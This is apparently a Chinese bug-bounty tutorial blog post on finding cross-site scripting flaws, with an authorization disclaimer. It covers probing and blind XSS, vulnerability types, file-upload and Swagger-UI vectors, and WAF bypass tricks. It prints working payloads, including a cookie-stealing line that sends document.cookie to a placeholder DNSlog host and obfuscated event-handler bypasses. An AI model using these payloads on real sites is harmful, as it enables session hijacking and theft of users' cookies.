【SRC】基础思路篇5:XSS跨站脚本攻击完全指南

⚠️本博文所涉安全渗透测试技术、方法及案例,仅用于网络安全技术研究与合规性交流,旨在提升读者的安全防护意识与技术能力。任何个人或组织在使用相关内容前,必须获得目标网络 / 系统所有者的明确且书面授权,严禁用于未经授权的网络探测、漏洞利用、数据获取等非法行为。

前言

在国内的SRC平台中,XSS漏洞往往不被重视,通常被评为低危漏洞。然而在国外的安全社区和漏洞奖励计划中,XSS被视为重要的安全问题,尤其是存储型XSS常常被评为中高危。尽管国内评级较低,但掌握XSS测试技巧依然非常重要——它不仅能帮助你发现更多漏洞,还能提升你在国际安全社区的竞争力。

本文将带你全面了解XSS的测试思路、漏洞类型和实战技巧,让你快速掌握XSS安全测试的核心方法。


一、XSS测试基本流程

1. 探测阶段

测试方法:尝试对可控参数进行探测,观察页面是否有回显。

常用测试Payload

<h1>111</h1>
'><script>alert(1)</script>
'">213

检查要点

  • 查看页面源码,确认输入内容是否显示
  • 检查单引号、双引号、尖括号是否被HTML编码
  • 观察浏览器是否执行了JavaScript代码

2. 盲打测试

适用场景:任何会被存储到后台管理系统的数据。

测试方法

  • 使用DNSlog来探测后台的IP
  • 在以下位置插入测试Payload:
    • Referer头
    • 用户个人信息(用户名、地址等)
    • 表单输入字段

常用DNSlog平台

  • https://dig.pm/ (推荐,速度快)
  • Burp Suite Collaborator(推荐,功能强大)
  • http://ceye.io/ (国内站点可能超时)

实战示例 - 窃取Cookie

<details open ontoggle="new Image().src='http://' + document.cookie.split(';').join('').split('=').join('').split(' ').join('') + '.your-dnslog.com'"></details><h1>你好</h1>

3. 危害证明

测试方法:调用同站点其他敏感接口,证明漏洞危害。

常见攻击场景

  • 窃取Cookie
  • 劫持用户会话
  • 执行恶意操作
  • 钓鱼攻击

二、XSS漏洞类型

1. 反射型XSS

特点:一次性攻击,Payload通过URL参数传递,服务器反射回页面。

测试场景

  • 有URL跳转的位置
  • 搜索框、查询参数
  • JavaScript伪协议链接

测试示例

<a href="javascript:alert(1)">点击</a>

实战案例:某金融系统搜索功能存在反射型XSS,用户搜索恶意代码后立即触发。

2. DOM型XSS

特点:攻击完全在客户端执行,服务器无感知。

关键特性

  • 客户端执行:整个攻击过程仅在浏览器端完成
  • 无服务器日志:Payload在URL#锚点中,不发送到服务器
  • WAF不可见:服务器端无法检测到攻击Payload

常见漏洞场景

  • Swagger-ui版本 [3.14.1,3.38.0) 存在漏洞
    xxx/swagger-ui.html?configUrl=https://malicious.com/test.json
    xxx/swagger-ui.html?url=https://malicious.com/test.json
    
  • jQuery版本 [1.2,3.5.0) 存在多个XSS漏洞(CVE-2020-11022、CVE-2020-11023)

绕过技巧:利用URL锚点特性

http://example.com/page.html#<a href="javascript:alert(1)">点我</a>

3. 存储型XSS

特点:攻击代码被持久化存储到数据库,危害最大。

测试场景

  • 用户昵称、签名
  • 帖子内容
  • 评论功能

重要提示:CSRF防御挡不住存储型XSS,因为XSS的JavaScript是同源触发的,可以获取到所有请求参数。

实战案例:某企业SRC社区发布帖子功能存在存储型XSS,通过修改链接地址为javascript伪协议实现1click XSS。

4. mXSS(Mutation XSS)

特点:在DOM操作过程中浏览器渲染造成的畸变引起的。

典型场景:将数据赋值到a.innerHTML后,再取出重新赋值到b.innerHTML的过程中产生畸变。

5. UBB标签XSS

特点:论坛常用的标签系统,如果存在XSS漏洞,可以这样利用:

[img]javascript:alert();[/img]

转成HTML代码的时候造成跨站。

6. XLSX文件XSS

特点:通过伪造Excel文件实现XSS攻击。

攻击方法

const htmlPayload = `<!DOCTYPE html>
<html>
<script>alert(document.cookie)</script>
</html>`;

const badXlsx = new File([htmlPayload], "xss.xlsx", {
    type: "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"
});

const a = document.createElement('a');
a.href = URL.createObjectURL(badXlsx);
a.download = 'xss.xlsx';
a.click();

三、常见XSS测试场景

1. 用户输入场景

测试位置

  • 昵称、用户名
  • 用户签名、简介
  • 各种地址信息
  • 联系方式

2. 文件上传场景

测试方法

  • PDF在线预览:上传包含恶意JavaScript的PDF文件
  • HTML文件上传:直接上传HTML文件
  • SVG文件上传:
    <svg xmlns="http://www.w3.org/2000/svg" version="1.1">
    <circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="red"/>
    <script>alert(1)</script>
    </svg>
    
  • 修改filename扩展名:尝试绕过文件类型检查

实战案例:某视频网站身份证上传功能存在XSS漏洞,可上传HTML文件并被解析执行。

3. Swagger接口文档

漏洞类型:DOM型历史漏洞

攻击方式

swagger-ui.html?configUrl=https://xss.smarpo.com/test.json

4. 在线客服系统

测试方法:关注页面上所有输入框,检查内容是否会在页面显示出来。

5. JSONP接口

测试方法:在callback参数后插入恶意代码。

6. Nginx漏洞

漏洞原理:URL中使用%0a%0d(回车换行)绕过。

测试方法

  1. 发送请求:%0a%0did=1
  2. 查看响应头是否包含id=1
  3. 如果包含则多次使用,使id=1进入响应体,然后构造XSS

四、XSS绕过WAF实战技巧

1. 探测WAF规则

测试步骤

"<script>alert(1)</script>"  // 被拦截(403)
"<body>1</body>"  // 正常显示(200)
"<body onerror=1>1</body>"  // 被拦截(403)

2. 枚举可用事件属性

方法:在浏览器console中执行以下代码:

let results = [];
for (let i in document) {
    if (i.startsWith("on")) {
        results.push(i);
    }
}
console.log(results);

常用绕过属性onscrollendonpointerenterondraggesturechange

3. 字符编码绕过

技巧:使用ASCII码比较避免直接使用被拦截的字符串。

示例

for (var i in self) {
    if (i.charCodeAt(0) == 97) {
        if (i.charCodeAt(1) == 108) {
            self[i]();
        }
    }
}

4. 构造完整Payload

实战示例

<div style='height: 200; overflow: auto;' onscrollend='for (var i in self) { if (i.charCodeAt(0)==97 ) {if(i.charCodeAt(1)==108){ self[i]() }} }'>































































<p>

5. 其他绕过方法

类型方法示例
事件属性使用冷门事件onscrollendonpointerenter
字符编码ASCII码比较charCodeAt(0)==97
标签混淆使用非标准标签<svg><animate>
CSS表达式IE专属漏洞expression(alert(1))
编码绕过URL编码/HTML实体%3Cscript%3E

五、DNSlog使用技巧

1. 平台推荐

平台特点
https://dig.pm/速度快,灵敏
Burp Suite Collaborator功能强大,推荐
http://ceye.io/国内站点可能超时

2. 常用Payload示例

窃取Cookie

<details open ontoggle="new Image().src='http://' + document.cookie.split(';').join('').split('=').join('').split(' ').join('') + '.your-dnslog.com'"></details>

六、XSS接收平台

推荐平台:https://xssjs.com/dashboard


七、实战案例总结

案例1:XSS绕过WAF

发现过程

  1. 探测WAF规则,发现<script>onerror被拦截
  2. 枚举浏览器事件属性,发现onscrollend可用
  3. 使用ASCII码比较绕过字符串匹配
  4. 构造触发条件,确保事件能被触发

案例2:存储型XSS漏洞

发现过程

  1. 测试帖子发布功能的链接添加功能
  2. 抓包修改链接为javascript:alert(1)
  3. 删除rel属性,发布帖子
  4. 其他用户点击链接即可触发XSS

案例3:DOM型XSS漏洞

发现过程

  1. 分析JS代码,发现直接从URL获取输入并插入页面
  2. 浏览器XSS防护拦截了URL参数中的恶意代码
  3. 利用URL锚点特性绕过检测

案例4:HTML文件上传XSS

发现过程

  1. 测试身份证上传功能
  2. 尝试上传HTML文件,发现后缀未过滤
  3. 获取上传文件URL,访问触发XSS

结语

XSS漏洞是Web安全中最常见的漏洞类型之一,掌握XSS测试技巧对于SRC漏洞挖掘至关重要。记住:耐心测试、善于发现、勤于总结,这是成为优秀安全测试工程师的必经之路。

如果这篇文章对你有帮助,请点赞支持一下!有任何问题欢迎在评论区交流讨论。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

介一笔记

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值